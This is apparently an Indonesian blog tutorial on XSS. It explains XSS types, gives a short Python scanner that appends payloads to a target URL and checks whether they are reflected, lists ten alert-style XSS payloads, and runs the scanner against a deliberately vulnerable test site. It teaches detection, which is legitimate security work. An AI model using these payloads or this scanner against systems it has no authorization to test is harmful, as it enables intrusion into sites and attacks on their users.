Web Penetration Testing : Cara Eksploitasi Dan Deteksi XSS Dengan Python

Dalam era di mana keamanan cyber menjadi semakin penting, pengujian penetrasi web (web penetration testing) adalah langkah yang krusial untuk melindungi sistem dan aplikasi dari serangan. Salah satu jenis serangan yang umum terjadi adalah Cross-Site Scripting (XSS), yang memungkinkan penyerang untuk menyisipkan skrip berbahaya ke dalam halaman web yang kemudian dapat dieksploitasi untuk mencuri informasi sensitif atau melakukan tindakan berbahaya lainnya.

Penjelasan Umum XSS

Cross-Site Scripting (XSS) adalah serangan keamanan pada aplikasi web yang memungkinkan penyerang menyisipkan skrip berbahaya ke dalam halaman web yang kemudian dieksekusi oleh pengguna yang melihat halaman tersebut. Serangan XSS umumnya terjadi ketika aplikasi web tidak memvalidasi atau menyaring input pengguna dengan benar sebelum menampilkannya kembali kepada pengguna lain.

Dengan memanfaatkan kelemahan ini, penyerang dapat menyisipkan skrip yang berbahaya, seperti JavaScript, ke dalam halaman web yang kemudian dieksekusi oleh pengguna yang mengakses halaman tersebut. Skrip ini dapat digunakan untuk mencuri informasi sensitif pengguna, sesi login, cookies, mengganggu interaksi tampilan halaman web, atau bahkan mengalihkan pengguna ke situs web palsu yang dirancang untuk mencuri kredensial login.

XSS terbagi menjadi beberapa jenis, termasuk Reflected XSS, Stored XSS, dan DOM-based XSS, yang masing-masing memiliki karakteristik dan cara kerja yang berbeda. Serangan ini merupakan ancaman serius bagi keamanan aplikasi web, dan oleh karena itu, penting bagi para pengembang web untuk memahami cara mendeteksi, mencegah, dan mengatasi serangan XSS guna melindungi pengguna dan data mereka dari eksploitasi yang berpotensi merugikan.

Exploit Python

Dalam tutorial artikel ini, kita fokus dalam pengembangan exploit menggunakan Python. Penulis asumsikan Anda sudah mengerti bahasa pemrograman Python dan sistem sudah terinstall Python. Exploit yang penulis kembangkan sangat sederhana, jadi masih banyak kekurangan di dalam kode yang di buat.

  • Pertama, dalam hal ini kita perlu menginstall salah satu library yang sangat populer dalam berinteraksi protokol HTTP yaitu requests. Kita masuk dalam terminal lalu ketik di bawah ini :
  • pip install requests
  • Buat file Python dengan nama main.py lalu isi kode nya seperti ini :
  • import argparse
    import requests
    
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', type=str, help='target URL')
    args = parser.parse_args()
    
    class MainProgram:
        def Main(self):
            if args.url:
                url = args.url
    
                with open("reflected-xss-payloads.txt") as payloads:
                    for x in payloads:
                        response = requests.get(url + x.strip())
    
                        if x.strip() in response.text:
                            print("[+] Found Reflected XSS : " + x.strip())
    
    if __name__ == "__main__":
        RUN = MainProgram()
        RUN.Main()

    Penjelasan Kode :
  • import argparse: Ini mengimpor modul argparse yang digunakan untuk mengolah argumen dari baris perintah.
  • import argparse
  • import requests: Ini mengimpor modul requests yang digunakan untuk membuat permintaan HTTP.
  • import requests
  • parser = argparse.ArgumentParser(): Membuat objek ArgumentParser dari modul argparse, yang akan digunakan untuk mengatur argumen yang diterima dari baris perintah.
  • parser = argparse.ArgumentParser()
  • parser.add_argument('-u', '--url', type=str, help='target URL'): Menambahkan argumen -u atau --url ke objek ArgumentParser. Argumen ini adalah URL target yang akan diuji untuk kerentanan XSS.
  • parser.add_argument('-u', '--url', type=str, help='target URL')
  • args = parser.parse_args(): Memparsing argumen dari baris perintah menggunakan objek ArgumentParser yang telah ditentukan sebelumnya. Nilai nilai argumen akan disimpan dalam variabel args.
  • args = parser.parse_args()
  • class MainProgram:: Ini mendefinisikan class MainProgram.
  • class MainProgram:
  • def Main(self):: Ini mendefinisikan method Main dalam class MainProgram. Method ini akan dieksekusi saat objek MainProgram dibuat.
  • def Main(self):
  • if args.url:: Memeriksa apakah argumen URL telah diberikan. Jika tidak, skrip akan berhenti. Jika ya, skrip akan melanjutkan.
  • if args.url:
  • url = args.url: Menyimpan nilai argumen URL dalam variabel url.
  • url = args.url
  • with open("reflected-xss-payloads.txt") as payloads:: Membuka file teks yang berisi daftar payload XSS yang akan digunakan untuk diuji, dan menyimpannya sebagai variabel payloads. Payloads akan di kirimkan nanti setelah penjelasan kode ini.
  • with open("reflected-xss-payloads.txt") as payloads:
  • for x in payloads:: Mengulangi setiap baris di file reflected-xss-payloads.txt.
  • for x in payloads:
  • response = requests.get(url + x.strip()): Mengirim permintaan HTTP GET ke URL target dengan menambahkan setiap payload yang diambil dari file reflected-xss-payloads.txt. Fungsi strip() digunakan untuk menghapus karakter whitespace dari awal dan akhir setiap baris.
  • response = requests.get(url + x.strip())
  • if x.strip() in response.text:: Memeriksa apakah payload yang dikirimkan muncul kembali di dalam halaman web aplikasi. Jika iya, itu menunjukkan bahwa ada kerentanan XSS yang direfleksikan.
  • if x.strip() in response.text:
  • print("[+] Found Reflected XSS : " + x.strip()): Mencetak pesan bahwa kerentanan XSS yang direfleksikan telah ditemukan, bersama dengan payload yang digunakan.
  • print("[+] Found Reflected XSS : " + x.strip())
  • if __name__ == "__main__":: Ini memeriksa apakah skrip ini dieksekusi langsung dari baris perintah.
  • if __name__ == "__main__":
  • RUN = MainProgram(): Membuat objek dari class MainProgram.
  • RUN = MainProgram()
  • RUN.Main(): Memanggil method Main dalam objek MainProgram untuk menjalankan skrip.
  • RUN.Main()

File reflected-xss-payloads.txt nya :

<script>alert("VULN XSS");</script>
<input onfocus=javascript:alert(1) autofocus>
<BODY ONLOAD=alert("XSS")>
<script>\u0061lert('XSS')</script>
<script>eval('\x61lert(\'XSS\')')</script>
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<div onpointerover="alert(45)">MOVE HERE</div>

Run Program

Untuk run program nya penulis sudah memiliki live target untuk melakukan pentest di suatu web. Target pentest :

http://testphp.vulnweb.com/listproducts.php?artist=

Anda buka terminal lalu coba masukkan perintah ini :

python3 main.py -u http://testphp.vulnweb.com/listproducts.php?artist=

Demo Video Dan Screenshot

Demo video dan screenshot nya bisa di lihat di bawah ini :

Screenshot :

Web Penetration Testing : Cara Eksploitasi Dan Deteksi XSS Dengan Python

Penutup

Dengan demikian, dalam artikel ini kita telah menjelajahi proses web penetration testing dengan fokus pada eksploitasi dan deteksi kerentanan Cross-Site Scripting (XSS) menggunakan bahasa pemrograman Python. Melalui langkah langkah yang telah dijelaskan, diharapkan Anda dapat memperoleh pemahaman yang lebih baik tentang bagaimana serangan XSS dapat dieksploitasi dan dideteksi, serta bagaimana Python dapat digunakan sebagai alat untuk melakukan tugas tersebut.

Penting untuk diingat bahwa pengujian penetrasi web adalah langkah penting dalam memastikan keamanan aplikasi web dan melindungi data pengguna dari serangan cyber. Dengan meningkatkan pemahaman dan keterampilan dalam pengujian penetrasi, kita dapat lebih efektif dalam mengidentifikasi, mengeksploitasi, dan mengatasi kerentanan keamanan yang ada pada aplikasi web.